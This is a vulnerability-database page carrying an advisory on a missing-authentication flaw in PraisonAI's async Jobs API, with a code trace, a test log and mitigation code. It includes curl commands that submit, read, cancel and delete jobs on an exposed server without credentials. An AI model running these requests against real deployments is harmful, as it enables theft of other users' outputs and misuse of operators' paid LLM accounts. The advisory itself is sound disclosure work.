Wysoka

PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete

  • Ujawniono: 25.08.2026
  • Aktualizacja: 11.10.2026 15:18

Summary

PraisonAI's async Jobs API (the FastAPI service in praisonai/jobs/) installs its router with no authentication middleware, no router-level dependency, and no per-route auth check. Any caller who can reach the jobs server can submit agent jobs (executed against the operator's configured LLM credentials), list every job in the shared store, read other jobs' results, cancel running jobs, and delete terminal jobs — with no token, cookie, session, or per-job ownership value.

The server's default bind is 127.0.0.1, so remote reach requires an operator to bind a public interface, container-publish, reverse-proxy, or tunnel the service. Once reachable, the primitive is fully pre-authenticated.

This is a distinct, still-unpatched sibling of CVE-2026-44338. That CVE (GHSA-6rmh-7xcm-cpxj, fixed in 4.6.34) covered only the legacy Flask server src/praisonai/api_server.py. The fix added AUTH_ENABLED/AUTH_TOKEN/check_auth() to that file and did not touch the FastAPI jobs module. At the latest commit (9fcac3a, version 4.6.51) the legacy Flask server is patched but the jobs API remains completely unauthenticated.

Technical Detail

Source-to-sink trace

The FastAPI app includes the jobs router with only CORS middleware — no auth (server.py, create_app):

python
# src/praisonai/praisonai/jobs/server.py
def create_app(store=None, executor=None, cors_origins=None) -> FastAPI:
    app = FastAPI(title="PraisonAI Jobs API", ...)
    # ... CORS middleware only (allow_headers includes "Authorization",
    #     but CORS is not authentication) ...
    jobs_router = create_router(get_store(), get_executor())
    app.include_router(jobs_router)        # no dependencies=[Depends(...)]

The router (built inside create_router()) registers every job operation with no auth dependency. The only Header(...) parameter anywhere is the Idempotency-Key, which is deduplication, not authorization:

python
# src/praisonai/praisonai/jobs/router.py
router = APIRouter(prefix="/api/v1/runs", tags=["jobs"])
 
@router.post("",          status_code=202)  async def submit_job(request, response, body, idempotency_key=Header(None, alias="Idempotency-Key")): ...
@router.get("")                              async def list_jobs(status=None, session_id=None, page=1, page_size=20): ...
@router.get("/{job_id}")                     async def get_job_status(job_id): ...
@router.get("/{job_id}/result")              async def get_job_result(job_id): ...
@router.post("/{job_id}/cancel")             async def cancel_job(job_id): ...
@router.delete("/{job_id}", status_code=204) async def delete_job(job_id): ...
@router.get("/{job_id}/stream")              async def stream_job(job_id): ...

submit_job() builds a Job from attacker-controlled JSON and submits it. The executor saves and schedules it, and for the default praisonai framework runs the attacker prompt against a real agent:

python
# executor.py — submit() -> _execute_job() -> _run_agent() -> _run_praisonai_agents()
agent = Agent(instructions="You are a helpful AI assistant.", output="minimal")
result = await asyncio.to_thread(agent.start, job.prompt)   # attacker-controlled prompt

The in-memory store has no owner / principal / user concept. list_jobs() returns the whole store filtered only by caller-supplied status/session_id:

python
# store.py
async def list_jobs(self, status=None, session_id=None, limit=20, offset=0):
    jobs = list(self._jobs.values())        # global; no owner binding
    if session_id: jobs = [j for j in jobs if j.session_id == session_id]
    ...

A repository-wide grep of jobs/ for Depends|verify|token|authorization|bearer|x-api-key|HTTPBearer|AUTH_ENABLED|check_auth returns only the string "Authorization" inside the CORS allow_headers list. There is no authentication primitive in the module.

Distinction from CVE-2026-44338 (critical for triage)

CVE-2026-44338 (already fixed) This finding
Component Legacy Flask src/praisonai/api_server.py FastAPI praisonai/jobs/
Endpoints GET /agents, POST /chat /api/v1/runs (submit/list/get/result/cancel/delete/stream)
Root cause AUTH_ENABLED=False, AUTH_TOKEN=None, no-op check_auth() No auth dependency, middleware, or token exists at all
Status at 4.6.51 Patched (auth enabled by default, token auto-generated, secrets.compare_digest) Unpatched

The 4.6.34 remediation hardened only the Flask file. The jobs module is a separate code path that the fix did not reach.

Trigger conditions

  1. Start the server, e.g. python -m uvicorn praisonai.jobs.server:create_app --port 8005 --factory.
  2. Make it reachable (--host 0.0.0.0, container publish, reverse proxy, tunnel).
  3. Send unauthenticated requests to POST/GET /api/v1/runs, GET /api/v1/runs/{id}, GET /api/v1/runs/{id}/result, POST /api/v1/runs/{id}/cancel, DELETE /api/v1/runs/{id}.

Proof of Concept

Verified dynamically by running the real praisonai.jobs router, executor, and store over HTTP via FastAPI TestClient. The only stub is praisonaiagents.Agent (its .start() returns canned text), so no real LLM call and no API credentials were used. Every request below was sent with no Authorization header, cookie, or token (the runner asserts Authorization sent: None on each).

## Unauth POST /api/v1/runs (submit job)
   POST /api/v1/runs            -> HTTP 202   Authorization sent: None
   body: {"job_id":"run_de282b4c3f1c","status":"queued", ...}
 
## Unauth GET /api/v1/runs (list every job in shared store)
   GET /api/v1/runs             -> HTTP 200   Authorization sent: None
   body: {"jobs":[{"job_id":"run_de282b4c3f1c","status":"succeeded", ...}], "total":1, ...}
 
## Unauth GET /api/v1/runs/{id}/result (read tenant output)
   GET /api/v1/runs/.../result  -> HTTP 200   Authorization sent: None
   body: {"result":"TENANT-PRIVATE-OUTPUT for prompt='attacker-controlled job'", ...}
 
## Unauth POST /api/v1/runs/{id}/cancel (cancel a RUNNING job)
   t=0.0s status=running ... t=2.0s status=running
   POST /api/v1/runs/.../cancel -> HTTP 200   Authorization sent: None
   after cancel status=cancelled
 
## Unauth DELETE /api/v1/runs/{id} (delete terminal job)
   DELETE /api/v1/runs/...       -> HTTP 204   Authorization sent: None

Each privileged operation succeeded with zero credentials. (The result endpoint returns a different job's stored output — the cross-job confidentiality primitive.)

Equivalent trigger in a fully installed, network-exposed deployment

bash
python -m uvicorn praisonai.jobs.server:create_app --host 0.0.0.0 --port 8005 --factory
 
curl -sS -X POST http://TARGET:8005/api/v1/runs \
  -H 'Content-Type: application/json' \
  --data-binary '{"prompt":"attacker controlled job","timeout":3600}'
curl -sS http://TARGET:8005/api/v1/runs
curl -sS http://TARGET:8005/api/v1/runs/<job_id>/result
curl -sS -X POST http://TARGET:8005/api/v1/runs/<job_id>/cancel
curl -sS -X DELETE http://TARGET:8005/api/v1/runs/<job_id>

Impact

  • Execution / cost: unauthenticated callers run arbitrary prompts against the operator's configured LLM credentials, and can queue long-running jobs (up to timeout, default 3600s) consuming CPU, memory, queue slots, and provider billing.
  • Confidentiality: callers list all jobs (GET /api/v1/runs) and read completed results from the shared store — other callers' agent outputs.
  • Integrity / control: callers cancel running jobs and delete terminal jobs. The realistic worst case is a reachable jobs endpoint used to run unauthorized prompts on the operator's LLM account, then enumerate and exfiltrate other jobs' outputs.

Suggested Mitigation

Mirror the fix already applied to the legacy Flask server (CVE-2026-44338), but for the jobs router:

  • Add a jobs-server auth token (e.g. PRAISONAI_JOBS_API_TOKEN) and require it on every /api/v1/runs route via a router-level dependency, so future routes inherit protection by default.
  • Use constant-time comparison (hmac.compare_digest / secrets.compare_digest).
  • Add per-job ownership / scoped job tokens so one caller cannot list, read, cancel, or delete another caller's jobs.
  • Keep 127.0.0.1 as default; warn or refuse when binding a public interface without auth configured.
  • Regression tests asserting unauthenticated POST / GET / cancel / delete return 401 when auth is enabled.
python
import hmac, os
from fastapi import Depends, Header, HTTPException
 
def verify_jobs_token(authorization: str | None = Header(None),
                      x_api_key: str | None = Header(None, alias="X-API-Key")):
    expected = os.getenv("PRAISONAI_JOBS_API_TOKEN")
    if not expected:
        raise HTTPException(401, "Jobs API auth is not configured")
    token = x_api_key
    if authorization and authorization.startswith("Bearer "):
        token = authorization[7:]
    if not token or not hmac.compare_digest(token, expected):
        raise HTTPException(401, "Unauthorized")
 
# create_router(...) -> APIRouter(prefix="/api/v1/runs", dependencies=[Depends(verify_jobs_token)])

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) praisonai < 4.6.58 4.6.58

Odnośniki

Ocena CVSS 8.6/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
Słabość (CWE)
CWE-306
Platforma
Python (PyPI)
Paczka
praisonai
Ujawniono
25.08.2026
Aktualizacja
11.10.2026 15:18

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-3885 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-2jgc-f764-c5r2 - CC BY 4.0

Historia podatności: praisonai

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (104) w archiwum
Wszystkich wpisów
104
Pierwsza → ostatnia
04.2026 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 27
  • Wysoka 60
  • Średnia 17

Ujawnienia w latach

  1. 2026: 104
Istotność:
  1. Wysoka · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
  2. PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete ten wpis
    Wysoka · 8.6 CVE-2026-55539 < 4.6.58 4.6.58
  3. Wysoka · 7.3 CVE-2026-56839 < 4.6.59 4.6.59
  4. Wysoka · 7.2 CVE-2026-57114 >= 4.5.126, < 4.6.59 4.6.59
  5. Krytyczna · 9.8 CVE-2026-57125 < 4.6.59 4.6.59
  6. Wysoka · 8.8 CVE-2026-57117 >= 4.6.10, < 4.6.59 4.6.59
  7. Wysoka · 7.8 CVE-2026-56838 >= 4.5.87, < 4.6.59 4.6.59
  8. Wysoka · 8.6 CVE-2026-56837 >= 4.6.56, < 4.6.59 4.6.59
  9. Wysoka · 8.3 CVE-2026-56835 >= 3.11.0, < 4.6.59 4.6.59
  10. Wysoka · 8.2 CVE-2026-56836 >= 4.5.112, < 4.6.59 4.6.59
  11. Wysoka CVE-2026-47397 < 4.6.40 4.6.40
  12. Wysoka · 8.4 CVE-2026-44334 >= 4.5.139, < 4.6.32 4.6.32
  13. Krytyczna · 9.8 CVE-2026-41497 < 4.5.149 4.5.149
  14. Krytyczna · 9.8 CVE-2026-40288 < 4.5.139 4.5.139
  15. Wysoka · 8.4 CVE-2026-40287 < 4.5.139 4.5.139
  16. Krytyczna · 9.3 CVE-2026-40154 < 4.5.128 4.5.128
  17. Wysoka · 8.6 CVE-2026-40158 < 4.5.128 4.5.128
  18. Krytyczna · 9.6 CVE-2026-40088 < 4.5.121 4.5.121
  19. Wysoka · 8.8 CVE-2026-39891 < 4.5.115 4.5.115
  20. Krytyczna CVE-2026-35615 < 1.5.113 1.5.113
Pokaż więcej (7) Widać 80 z 87

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.